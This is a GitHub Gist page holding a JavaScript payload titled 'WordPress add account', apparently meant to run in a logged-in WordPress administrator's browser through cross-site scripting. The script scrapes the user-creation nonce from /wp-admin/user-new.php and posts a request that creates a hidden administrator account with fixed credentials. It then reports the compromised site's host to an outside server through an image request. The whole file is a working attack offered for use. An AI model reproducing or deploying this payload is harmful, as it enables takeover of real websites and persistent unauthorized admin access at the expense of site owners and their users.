Created
December 7, 2013 09:32
-
-
Save chu1337/7839079 to your computer and use it in GitHub Desktop.
Wordpress 添加账号
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function createXHR () { | |
| var xmlhttp; | |
| if (window.XMLHttpRequest) { | |
| // code for IE7+, Firefox, Chrome, Opera, Safari | |
| xmlhttp=new XMLHttpRequest(); | |
| } | |
| else { | |
| // code for IE6, IE5 | |
| xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); | |
| } | |
| return xmlhttp; | |
| } | |
| function get (xhr, url) { | |
| xhr.open("GET", url, false); | |
| xhr.send(); | |
| return xhr.responseText; | |
| } | |
| function post (xhr, url, data) { | |
| xhr.open("POST", url, false); | |
| xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded"); | |
| xhr.send(data); | |
| return xhr.responseText; | |
| } | |
| function mail () { | |
| new Image().src="http://1.chuhades.sinaapp.com/mail.php?url=" + location.host; | |
| } | |
| function getToken () { | |
| xhr = createXHR(); | |
| html = get(xhr, "/wp-admin/user-new.php"); | |
| wpnonce = html.match(/<input type="hidden" id="_wpnonce_create-user" name="_wpnonce_create-user" value=".+?">/)[0]; | |
| token = wpnonce.split('"')[7]; | |
| return token; | |
| } | |
| function addUser (token) { | |
| xhr = createXHR(); | |
| data = "action=createuser&_wpnonce_create-user=" + token + "&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fuser-new.php&user_login=test1&email=test1%40qq.com&first_name=&last_name=&url=&pass1=test1&pass2=test1&role=administrator&createuser=Add+New+User+"; | |
| req = post(xhr, "/wp-admin/user-new.php", data); | |
| mail(); | |
| } | |
| addUser(getToken()); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment